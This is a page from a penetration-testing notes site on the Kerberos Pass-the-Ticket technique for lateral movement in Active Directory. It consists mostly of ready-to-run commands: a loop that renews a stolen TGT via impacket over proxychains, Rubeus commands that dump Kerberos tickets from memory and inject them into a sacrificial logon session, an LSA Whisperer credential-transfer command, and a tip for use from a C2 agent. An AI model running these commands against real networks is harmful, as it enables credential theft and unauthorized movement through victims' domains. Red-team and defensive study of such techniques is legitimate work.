> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/lateral-movement/ptt.md). # Pass-the-Ticket Keep your TGTs fresh! ``` $ while true; do KRB5CCNAME=j.doe@krbtgt_MEGACORP.LOCAL@MEGACORP.LOCAL.ccache proxychains4 -q impacket-getST -k -no-pass megacorp.local/j.doe -spn krbtgt/megacorp.local -renew; sleep 3600; done ``` ## Rubeus Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon session): ``` PS > .\Rubeus.exe triage | findstr krbtgt | findstr admin ``` Extract the tickets from memory: ``` PS > .\Rubeus.exe dump [/service:krbtgt] [/luid:0x1337] /nowrap ``` Create a sacrificial process ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)) and import the TGT into its logon session: ``` PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show PS > .\Rubeus.exe ptt /luid:0x1337 /ticket: ``` {% hint style="info" %} If operating Rubeus from a C2 agent, you can [steal\_token](https://github.com/snovvcrash/PPN/blob/master/pentest/c2/cobalt-strike/README.md) instead of using `/show` option. {% endhint %} {% hint style="success" %} You can also extract and reuse TGS tickets with this technique. {% endhint %} ## LSA Whisperer * ``` lsa> kerberos TransferCredentials --sluid --dluid ``` ## Manual Tickets Injection * * * *